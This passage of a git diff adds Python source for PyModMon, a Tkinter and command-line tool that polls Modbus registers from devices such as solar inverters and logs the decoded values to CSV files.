text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + 